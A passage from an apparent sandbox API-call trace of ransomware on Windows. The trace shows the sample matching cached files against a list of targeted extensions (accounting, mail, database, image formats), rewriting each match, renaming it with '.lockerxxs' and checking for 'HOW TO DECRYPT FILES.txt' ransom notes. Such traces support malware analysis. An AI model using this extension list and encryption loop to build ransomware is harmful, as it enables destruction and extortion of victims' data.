Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.myox") returned 0 [0082.975] lstrlenA (lpString="*.myox") returned 6 [0082.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.myo") returned 0 [0082.975] lstrlenA (lpString="*.myo") returned 5 [0082.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.qbw") returned 0 [0082.975] lstrlenA (lpString="*.qbw") returned 5 [0082.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.qbb") returned 0 [0082.975] lstrlenA (lpString="*.qbb") returned 5 [0082.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.qbm") returned 0 [0082.975] lstrlenA (lpString="*.qbm") returned 5 [0082.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.qbo") returned 0 [0082.975] lstrlenA (lpString="*.qbo") returned 5 [0082.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.qbx") returned 0 [0082.975] lstrlenA (lpString="*.qbx") returned 5 [0082.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.qba") returned 0 [0082.975] lstrlenA (lpString="*.qba") returned 5 [0082.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.qby") returned 0 [0082.975] lstrlenA (lpString="*.qby") returned 5 [0082.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.qbj") returned 0 [0082.976] lstrlenA (lpString="*.qbj") returned 5 [0082.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.ofx") returned 0 [0082.976] lstrlenA (lpString="*.ofx") returned 5 [0082.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.qif") returned 0 [0082.976] lstrlenA (lpString="*.qif") returned 5 [0082.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.mye") returned 0 [0082.976] lstrlenA (lpString="*.mye") returned 5 [0082.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.mbox") returned 0 [0082.976] lstrlenA (lpString="*.mbox") returned 6 [0082.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.eml") returned 0 [0082.976] lstrlenA (lpString="*.eml") returned 5 [0082.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.pst") returned 0 [0082.976] lstrlenA (lpString="*.pst") returned 5 [0082.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.ost") returned 0 [0082.976] lstrlenA (lpString="*.ost") returned 5 [0082.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.idx") returned 0 [0082.976] lstrlenA (lpString="*.idx") returned 5 [0082.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.dbx") returned 0 [0082.976] lstrlenA (lpString="*.dbx") returned 5 [0082.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.sql") returned 0 [0082.976] lstrlenA (lpString="*.sql") returned 5 [0082.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.mdb") returned 0 [0082.976] lstrlenA (lpString="*.mdb") returned 5 [0082.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.fdb") returned 0 [0082.977] lstrlenA (lpString="*.fdb") returned 5 [0082.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.wab") returned 0 [0082.977] lstrlenA (lpString="*.wab") returned 5 [0082.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.dat") returned 0 [0082.977] lstrlenA (lpString="*.dat") returned 5 [0082.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.txt") returned 0 [0082.977] lstrlenA (lpString="*.txt") returned 5 [0082.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.jpeg") returned 0 [0082.977] lstrlenA (lpString="*.jpeg") returned 6 [0082.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", pszSpec="*.jpg") returned 1 [0082.977] lstrlenA (lpString="*.jpg") returned 5 [0082.977] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg" [0082.977] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg" [0082.977] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg." [0082.977] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg.lockerxxs" [0082.977] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbyew1[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.978] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x22b3 [0082.978] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x538b8730, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x538b8730, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x538b8730, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.978] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.978] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x228d, lpOverlapped=0x0) returned 1 [0082.980] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg") returned="BBBYEW1[1].jpg" [0082.980] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.981] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x228d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x228d, lpOverlapped=0x0) returned 1 [0082.981] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.981] CloseHandle (hObject=0xa4) returned 1 [0082.981] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbyew1[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbyew1[1].jpg.lockerxxs")) returned 1 [0082.982] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52ec0b10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52ec0b10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52ec0b10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x19cf, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBYfEH[1].jpg", cAlternateFileName="BBBYFE~1.JPG")) returned 1 [0082.982] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.982] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBYfEH[1].jpg") returned 1 [0082.982] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBYfEH[1].jpg") returned 1 [0082.982] lstrcmpiA (lpString1="", lpString2="BBBYfEH[1].jpg") returned -1 [0082.982] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYEW1[1].jpg") returned="BBBYEW1[1].jpg" [0082.982] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.982] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.983] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.983] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.983] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBBYfEH[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg" [0082.983] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.ems") returned 0 [0082.983] lstrlenA (lpString="*.ems") returned 5 [0082.983] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.db") returned 0 [0082.983] lstrlenA (lpString="*.db") returned 4 [0082.983] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.dbf") returned 0 [0082.983] lstrlenA (lpString="*.dbf") returned 5 [0082.983] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.myox") returned 0 [0082.983] lstrlenA (lpString="*.myox") returned 6 [0082.983] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.myo") returned 0 [0082.983] lstrlenA (lpString="*.myo") returned 5 [0082.983] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.qbw") returned 0 [0082.984] lstrlenA (lpString="*.qbw") returned 5 [0082.984] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.qbb") returned 0 [0082.984] lstrlenA (lpString="*.qbb") returned 5 [0082.984] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.qbm") returned 0 [0082.984] lstrlenA (lpString="*.qbm") returned 5 [0082.984] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.qbo") returned 0 [0082.984] lstrlenA (lpString="*.qbo") returned 5 [0082.984] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.qbx") returned 0 [0082.984] lstrlenA (lpString="*.qbx") returned 5 [0082.984] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.qba") returned 0 [0082.984] lstrlenA (lpString="*.qba") returned 5 [0082.984] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.qby") returned 0 [0082.984] lstrlenA (lpString="*.qby") returned 5 [0082.984] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.qbj") returned 0 [0082.984] lstrlenA (lpString="*.qbj") returned 5 [0082.984] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.ofx") returned 0 [0082.984] lstrlenA (lpString="*.ofx") returned 5 [0082.984] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.qif") returned 0 [0082.984] lstrlenA (lpString="*.qif") returned 5 [0082.985] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.mye") returned 0 [0082.985] lstrlenA (lpString="*.mye") returned 5 [0082.985] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.mbox") returned 0 [0082.985] lstrlenA (lpString="*.mbox") returned 6 [0082.985] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.eml") returned 0 [0082.985] lstrlenA (lpString="*.eml") returned 5 [0082.985] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.pst") returned 0 [0082.985] lstrlenA (lpString="*.pst") returned 5 [0082.985] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.ost") returned 0 [0082.985] lstrlenA (lpString="*.ost") returned 5 [0082.985] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.idx") returned 0 [0082.985] lstrlenA (lpString="*.idx") returned 5 [0082.985] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.dbx") returned 0 [0082.985] lstrlenA (lpString="*.dbx") returned 5 [0082.985] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.sql") returned 0 [0082.985] lstrlenA (lpString="*.sql") returned 5 [0082.985] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.mdb") returned 0 [0082.985] lstrlenA (lpString="*.mdb") returned 5 [0082.985] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.fdb") returned 0 [0082.985] lstrlenA (lpString="*.fdb") returned 5 [0082.985] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.wab") returned 0 [0082.985] lstrlenA (lpString="*.wab") returned 5 [0082.985] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.dat") returned 0 [0082.985] lstrlenA (lpString="*.dat") returned 5 [0082.985] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.txt") returned 0 [0082.985] lstrlenA (lpString="*.txt") returned 5 [0082.986] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.jpeg") returned 0 [0082.986] lstrlenA (lpString="*.jpeg") returned 6 [0082.986] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg", pszSpec="*.jpg") returned 1 [0082.986] lstrlenA (lpString="*.jpg") returned 5 [0082.986] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg" [0082.986] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBYfEH[1].jpg" [0082.986] lstrcatA (in: 